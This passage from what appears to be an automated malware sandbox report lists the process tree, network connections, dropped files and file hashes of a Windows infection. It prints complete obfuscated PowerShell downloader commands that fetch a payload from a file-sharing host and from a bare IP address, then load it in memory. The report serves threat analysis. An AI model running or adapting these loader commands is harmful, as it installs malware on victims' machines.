lcm5ldmVyY2gudmJzIiwwLDApO1N0QXJULXNMRUVwKDMpO3NUQVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFblY6QVBQREFUQVxzZWV0aGViZXN0dGhpbmdzZXZlcm1hZGV3aXRobWVjaGFyYWN0ZXJuZXZlcmNoLnZicyI='+[cHaR]34+'))')))"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bYpasS -NOP -w 1 -c DEVICECReDentIaLDePloymeNt.EXE
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gdrcxzkz\gdrcxzkz.cmdline"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC63E.tmp" "c:\Users\Admin\AppData\Local\Temp\gdrcxzkz\CSC3201133FAB410990B4FA1EEA111A55.TMP"
C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seethebestthingsevermadewithmecharacterneverch.vbs"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnWkNHaW1hZ2VVcmwnKycgPSBrcndodHRwczovLzEwMTcuZmlsZW1haWwuYycrJ29tJysnL2FwaS9maWxlL2dldD9maWxla2V5PTJBYV9iVycrJ285JysnUmV1NDV0N0JVMWtWZ3NkOXBUOXBnU1NsdlN0R3JuVElDZkZobVRLajMnKydMQzZTUXRJY09jX1QzNXcmcGtfdmlkPWZkNGY2MScrJzRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MDQnKydmIGtydztaQ0d3ZWJDbGllbicrJ3QgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuVycrJ2ViQ2xpZW50O1pDR2ltYWdlQnl0ZXMgPSBaQ0d3ZWJDbGllbnQuRG93bmxvYWREYScrJ3RhKFpDR2ltYWdlVXJsKTtaQ0dpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhaQ0dpbWFnJysnZUJ5dGVzKTtaQ0dzdGEnKydydEZsYWcgPSBrcnc8PEJBU0U2NF9TVEFSVD4+a3J3O1pDR2VuZEZsYWcgPSBrJysncnc8PEJBUycrJ0U2NCcrJ19FTkQ+PmtydztaQ0dzdGFydEknKyduZGV4ID0gWkNHaW1hZ2VUZXh0LkluZGV4T2YoWkNHc3RhcnRGbGFnKTtaQ0dlbmRJbmRlJysneCA9IFpDR2ltYWcnKydlVGV4dC5JbmRleE9mKFpDR2VuZEZsYWcpO1pDR3N0YXJ0SW5kZXggLWdlIDAgLWFuZCBaQ0dlbmRJbmRleCAtZ3QgWkNHc3RhcnRJbmRleDtaQ0dzdGFydEluZGV4ICs9IFpDR3MnKyd0YXJ0RmxhZy5MZW5ndGg7WkNHYmFzZTY0TGVuZ3RoID0gWkNHZW5kSW5kZXggLSBaQ0dzdGFydEluZGV4O1pDR2Jhc2U2NENvbW0nKydhbmQgPSBaQ0dpbWFnZVRleHQuU3Vic3RyaW5nKFpDR3N0YXInKyd0SW5kZXgsIFpDR2Jhc2U2NExlbmd0aCk7WicrJ0NHYmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoWkNHYmFzZTY0QycrJ29tbWFuZC5UbycrJ0NoYXJBcnJheSgpIFpXMyBGb3JFYWNoLU9iamVjdCB7IFpDR18gfSlbLTEuLi0oWkNHYmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtaQ0djb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3QnKydyaW5nKFpDR2Jhc2U2NFJldmVycycrJ2VkKTtaQ0dsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGknKydvbi5Bc3NlbWJseV06OkxvYWQoJysnWkNHY29tbWFuZEJ5dGVzKTtaQ0d2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKGtyd1ZBSWtyJysndyk7WkMnKydHdmFpTWV0aG9kLkludm9rZShaQ0dudWxsLCBAKGtyd3R4dCcrJy5MRUxMUE1TLzAnKyczMS8yNS43Ljg2MS40MDEvLzpwdHRoa3J3LCBrcncnKydkZXNhdGl2YWRvJysna3J3LCBrcndkZXNhdGl2YWRva3J3LCBrcndkZXNhdGl2YWRva3J3LCBrcndhc3BuZXRfcmVnYnJvd3NlcnNrcncsIGtyd2Rlc2F0aXZhZG9rJysncncsIGtyd2Rlc2F0aXZhZG9rcncsa3J3ZGVzYXRpdmFkb2tydyxrcndkZXNhdGknKyd2YWRva3J3LGtyd2Rlc2F0aXZhZG9rcncsa3J3ZGVzYXRpdmFkb2tydyxrcndkZXNhdGl2YWRva3InKyd3LGtydzFrcncsa3J3JysnZGVzYXRpdmFkb2tydykpJysnOycpLXJlUGxBQ0UnWkNHJyxbQ2hhcl0zNiAgLWNSZXBsQWNFICAoW0NoYXJdOTArW0NoYXJdODcrW0NoYXJdNTEpLFtDaGFyXTEyNC1jUmVwbEFjRSdrcncnLFtDaGFyXTM5KXwmICggJEVOdjpjb21TcEVDWzQsMjYsMjVdLWpvaW4nJyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('ZCGimageUrl'+' = krwhttps://1017.filemail.c'+'om'+'/api/file/get?filekey=2Aa_bW'+'o9'+'Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3'+'LC6SQtIcOc_T35w&pk_vid=fd4f61'+'4bb209c62c1730945176a0904'+'f krw;ZCGwebClien'+'t = New-Object System.Net.W'+'ebClient;ZCGimageBytes = ZCGwebClient.DownloadDa'+'ta(ZCGimageUrl);ZCGimageText = [System.Text.Encoding]::UTF8.GetString(ZCGimag'+'eBytes);ZCGsta'+'rtFlag = krw<<BASE64_START>>krw;ZCGendFlag = k'+'rw<<BAS'+'E64'+'_END>>krw;ZCGstartI'+'ndex = ZCGimageText.IndexOf(ZCGstartFlag);ZCGendInde'+'x = ZCGimag'+'eText.IndexOf(ZCGendFlag);ZCGstartIndex -ge 0 -and ZCGendIndex -gt ZCGstartIndex;ZCGstartIndex += ZCGs'+'tartFlag.Length;ZCGbase64Length = ZCGendIndex - ZCGstartIndex;ZCGbase64Comm'+'and = ZCGimageText.Substring(ZCGstar'+'tIndex, ZCGbase64Length);Z'+'CGbase64Reversed = -join (ZCGbase64C'+'ommand.To'+'CharArray() ZW3 ForEach-Object { ZCG_ })[-1..-(ZCGbase64Command.Length)];ZCGcommandBytes = [System.Convert]::FromBase64St'+'ring(ZCGbase64Revers'+'ed);ZCGloadedAssembly = [System.Reflecti'+'on.Assembly]::Load('+'ZCGcommandBytes);ZCGvaiMethod = [dnlib.IO.Home].GetMethod(krwVAIkr'+'w);ZC'+'GvaiMethod.Invoke(ZCGnull, @(krwtxt'+'.LELLPMS/0'+'31/25.7.861.401//:ptthkrw, krw'+'desativado'+'krw, krwdesativadokrw, krwdesativadokrw, krwaspnet_regbrowserskrw, krwdesativadok'+'rw, krwdesativadokrw,krwdesativadokrw,krwdesati'+'vadokrw,krwdesativadokrw,krwdesativadokrw,krwdesativadokr'+'w,krw1krw,krw'+'desativadokrw))'+';')-rePlACE'ZCG',[Char]36 -cReplAcE ([Char]90+[Char]87+[Char]51),[Char]124-cReplAcE'krw',[Char]39)|& ( $ENv:comSpEC[4,26,25]-join'')"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 196.249.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 104.168.7.52:80 | 104.168.7.52 | tcp |
| US | 8.8.8.8:53 | 52.7.168.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 1017.filemail.com | udp |
| US | 142.215.209.78:443 | 1017.filemail.com | tcp |
| US | 8.8.8.8:53 | 78.209.215.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 217.106.137.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 228.249.119.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 98.117.19.2.in-addr.arpa | udp |
| US | 104.168.7.52:80 | 104.168.7.52 | tcp |
| DE | 94.156.177.220:80 | 94.156.177.220 | tcp |
| DE | 94.156.177.220:80 | 94.156.177.220 | tcp |
| DE | 94.156.177.220:80 | 94.156.177.220 | tcp |
| US | 8.8.8.8:53 | 220.177.156.94.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 21.236.111.52.in-addr.arpa | udp |
| DE | 94.156.177.220:80 | 94.156.177.220 | tcp |
Files
memory/3216-0-0x000000007194E000-0x000000007194F000-memory.dmp
memory/3216-1-0x0000000002950000-0x0000000002986000-memory.dmp
memory/3216-3-0x00000000054A0000-0x0000000005AC8000-memory.dmp
memory/3216-2-0x0000000071940000-0x00000000720F0000-memory.dmp
memory/3216-4-0x0000000005280000-0x00000000052A2000-memory.dmp
memory/3216-5-0x0000000005420000-0x0000000005486000-memory.dmp
memory/3216-6-0x0000000005BD0000-0x0000000005C36000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ww0nuq41.fox.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/3216-16-0x0000000005C40000-0x0000000005F94000-memory.dmp
memory/3216-17-0x0000000006240000-0x000000000625E000-memory.dmp
memory/3216-18-0x0000000006280000-0x00000000062CC000-memory.dmp
memory/916-28-0x0000000006D40000-0x0000000006D72000-memory.dmp
memory/916-29-0x000000006E200000-0x000000006E24C000-memory.dmp
memory/916-39-0x0000000006D20000-0x0000000006D3E000-memory.dmp
memory/916-40-0x00000000079F0000-0x0000000007A93000-memory.dmp
memory/916-41-0x0000000008120000-0x000000000879A000-memory.dmp
memory/916-42-0x00000000077C0000-0x00000000077DA000-memory.dmp
memory/916-43-0x0000000007AF0000-0x0000000007AFA000-memory.dmp
memory/916-44-0x0000000007D10000-0x0000000007DA6000-memory.dmp
memory/916-45-0x0000000007C80000-0x0000000007C91000-memory.dmp
memory/916-46-0x0000000007CB0000-0x0000000007CBE000-memory.dmp
memory/916-47-0x0000000007CC0000-0x0000000007CD4000-memory.dmp
memory/916-48-0x0000000007DD0000-0x0000000007DEA000-memory.dmp
memory/916-49-0x0000000007D00000-0x0000000007D08000-memory.dmp
\??\c:\Users\Admin\AppData\Local\Temp\gdrcxzkz\gdrcxzkz.cmdline
| MD5 | eca0e1f59790d34d8d322cce2663317d |
| SHA1 | 01ba5f5e762a6e9cd1b5c2c57ce358f9ae38e3fe |
| SHA256 | 3b72d4d66dedf462a255b8148db9ac3874ef7d6358d3df4e9162d5f63d3802e2 |
| SHA512 | 43cfc30d2b90e888ff59b979321f757eb4678bcb8e1d15c2e05193936bff0c6f299de5977d3ef122dcc2f3b9cd8d678267d0ddd3977c52e948ed94dbea0da765 |
\??\c:\Users\Admin\AppData\Local\Temp\gdrcxzkz\gdrcxzkz.0.cs
| MD5 | e090c5c356e4a5968670e0e1d5b7061a |
| SHA1 | 58e057fd814332db04008226b600f24678a74884 |
| SHA256 | dfda423d8587c14087a2e1610cbf9a38a780afb0974fa39be6b275f375153d20 |
| SHA512 | 35a2f34fdfeefdcd297aa7ad6f8a2f833885fec60cd4f7798568e9e11294d352dc665d215bb7b7b27ffe5124b6f85c912e2445839167128b397965c1c2eb4217 |
\??\c:\Users\Admin\AppData\Local\Temp\gdrcxzkz\CSC3201133FAB410990B4FA1EEA111A55.TMP
| MD5 | 44e10f8b18829fc2c74bfef4baf449c2 |
| SHA1 | a120de92f16e07c1959e9eefef395abb8a1c4d47 |
| SHA256 | 3626daa0a914bbf93a13a744a2da57126f3248da4eef70e0c18dbff242d68e3a |
| SHA512 | 697cc4ef1665914790034fd8e12d97c09a672a56d6ea59ca5610851617a4c4ca49d94684799c5c665f3001c21d0bf737eb336fc685c2be51dd10090dba13a8aa |
C:\Users\Admin\AppData\Local\Temp\RESC63E.tmp
| MD5 | 0f7eb318f9eef5f38f35454dd8a5723a |
| SHA1 | 7d29f90207fba852970a0db8b7ff6f7146ade40f |
| SHA256 | 590fc407a3024aadfedc095da9e30c0f181f6485c73138f6d2b381afc9f55955 |
| SHA512 | 308547720f305dbd58b5bd3b87f24bc27ade00a6a4127fb87482b672be1808f4c07aca1682211df8ad6bb7eed05a1a011f172e526b5cc372131d676635aac86d |
C:\Users\Admin\AppData\Local\Temp\gdrcxzkz\gdrcxzkz.dll
| MD5 | 1f9d36680aa1433615d665dd7b5ba8fa |
| SHA1 | 380fd773cd1b8d1ceefe01c1864b6a83a5ad5e34 |
| SHA256 | 9bbad54f25feaafc05f9e0b1d324ef6778b340b810bb31e523914a70f50f8e88 |
| SHA512 | ce57b1807c7f12114ce04e7f5a13c1b5c861502d03b72ca86c02ccec4c9fbf7bf859a6b92a25acb3a37e0ed4cf68fecaaad7c9639326984b50df8995da7a298d |
memory/3216-64-0x0000000006810000-0x0000000006818000-memory.dmp
memory/3216-70-0x0000000007610000-0x0000000007632000-memory.dmp
memory/3216-71-0x00000000086F0000-0x0000000008C94000-memory.dmp
memory/3216-74-0x000000007194E000-0x000000007194F000-memory.dmp
C:\Users\Admin\AppData\Roaming\seethebestthingsevermadewithmecharacterneverch.vbs
| MD5 | 53d91892aead994ebd8ddc00f67b3d20 |
| SHA1 | 817443e7db1cf26edb38767a540f834ba284d4df |
| SHA256 | a8db688b3aeb1886027644bc593ee1d43a78ae0137d53bba4d62ec186da9fd06 |
| SHA512 | e024d38488a9b1778fc2a3efcb10afd6121d7b923c710b9e843f31c367de80f052269cbae90665e4778cdbc563668e543e1aa40f63cf5374bcc7370a63314d08 |
memory/3216-75-0x0000000071940000-0x00000000720F0000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | c63356cf14774c3589b227f046ea4216 |
| SHA1 | 2f00f2f700d01b2d2af36d5b69810dac9b7e98c4 |
| SHA256 | 8859ad42417f413003de747d36064dd419dd85ad22ef7440d7824f6ffb0a5b01 |
| SHA512 | e1c1b36c038277b6d9bfac8f7c3f03a910d0cf4b70dca028615dd6154767036b6a2b6f857a66d4719b97928dd2e5daca755a266064a009b1a22d63560a814406 |
memory/3216-80-0x0000000071940000-0x00000000720F0000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\PowErsHEll.exE.log
| MD5 | 3d086a433708053f9bf9523e1d87a4e8 |
| SHA1 | b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28 |
| SHA256 | 6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69 |
| SHA512 | 931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd |
memory/3380-90-0x00000000062A0000-0x00000000065F4000-memory.dmp
memory/2652-102-0x0000000007B60000-0x0000000007CB8000-memory.dmp
memory/2652-103-0x0000000007D60000-0x0000000007DFC000-memory.dmp
memory/4044-104-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/4044-105-0x0000000000400000-0x00000000004A2000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 6d473060dffc65bf2af0506a5b27228f |
| SHA1 | 28faea1e8c4eef41b905614101bfb3720d505b87 |
| SHA256 | de906f43177753b937548a9634d2d6f9dec494e996e024e66f559222058d6536 |
| SHA512 | f850cf955a6954d448c6738ab6858bce926f72415009304cd6c4fa1485702d443650eb3268f3ca9ae7082eae7aec7c35e9818cd3d28ab63509137c3c9e12a12c |
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-4089630652-1596403869-279772308-1000\0f5007522459c86e95ffcc62f32308f1_dc5cddf5-9e4b-4c89-ba53-89649a7a5ee7
| MD5 | d898504a722bff1524134c6ab6a5eaa5 |
| SHA1 | e0fdc90c2ca2a0219c99d2758e68c18875a3e11e |
| SHA256 | 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9 |
| SHA512 | 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61 |
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-4089630652-1596403869-279772308-1000\0f5007522459c86e95ffcc62f32308f1_dc5cddf5-9e4b-4c89-ba53-89649a7a5ee7
| MD5 | c07225d4e7d01d31042965f048728a0a |
| SHA1 | 69d70b340fd9f44c89adb9a2278df84faa9906b7 |
| SHA256 | 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a |
| SHA512 | 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b |
memory/4044-129-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/4044-137-0x0000000000400000-0x00000000004A2000-memory.dmp